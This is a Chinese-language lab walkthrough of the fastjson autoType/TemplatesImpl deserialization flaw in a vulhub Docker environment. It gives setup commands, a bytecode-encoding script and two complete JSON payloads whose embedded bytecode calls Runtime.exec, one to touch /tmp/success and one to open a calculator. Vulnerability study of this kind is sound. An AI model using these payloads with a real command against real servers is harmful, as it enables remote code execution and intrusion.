https://vulhub.org/#/environments/fastjson/vuln/
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中有一个私有属性_bytecodes
,其部分方法会执行这个值中包含的Java字节码。
所以,想要使用TemplatesImpl
的_bytecodes
属性执行任意命令,有几个条件:
Feature.SupportNonPublicField
,否则不支持传入私有属性TemplatesImpl
类当然不排除有其他不需要TemplatesImpl
的利用方法。
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/fastjson/vuln
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:7分半
第一步就是编写一个Java类,在这个类中执行命令。然后编译该类,获得.class文件,获得字节码。
修改Poc.java中你想要执行的命令,然后在本目录下使用maven对本项目进行编译,生成target/classes/Poc.class
:
mvn compile
如果你没有安装maven,也可以直接使用fastjson-1.0.war这个压缩包中的WEB-INF/classes/Poc.class
。exploit.php中就是读取的这个我已经编译好的class文件。
jar -xvf fastjson-1.0.war
编写一个Java类,在这个类中执行命令。然后编译该类,获得.class文件,获得字节码。
修改Poc.java中你想要执行的命令
然后在本目录下使用maven对本项目进行编译,生成target/classes/Poc.class
:
mvn compile
如果没有安装maven,也可以直接使用fastjson-1.0.war这个压缩包中的WEB-INF/classes/Poc.class
exploit.php中就是读取的这个我已经编译好的class文件。
生成.class文件后,将该文件的内容进行base64编码(用现成的可跳过)
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2Vwd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V0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
如果你想使用我已经编译好的.class文件,可以直接执行php exploit.php
获得POC:
我使用jdk1.8编译,执行的命令是touch /tmp/success
,所以在Windows下会执行失败。Windows用户请自己修改Poc.java,生成自己的POC。
目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:
发送步骤二中获取的POC,成功执行命令:
如上图,/tmp/success文件成功被创建。
上述测试过程是在docker中,执行的命令是touch /tmp/success
,不能弹计算器,不够直观。
欲深入研究该漏洞,建议在本地进行测试。本地安装maven(无需tomcat等web容器),编译及运行本项目:
# 编译项目
mvn compile
# 运行IndexFilter:main函数
mvn exec:java -D exec.mainClass="IndexFilter"
本项目内置的HTTP Server会监听4567端口。所以,将Poc.java中的命令更改为打开计算器并生成POC,向4567端口POST即可:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAcAAgEAA1BvYwcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAY8aW5pdD4BAAMoKVYBAApFeGNlcHRpb25zBwAJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEABENvZGUKAAMADAwABQAGCgAOABAHAA8BABFqYXZhL2xhbmcvUnVudGltZQwAEQASAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgAFAEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxQb2M7AQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlc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ABYAAgAAAAkALwAwAAAACAABADEAHAABAAEAMgAAAAIAMw=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}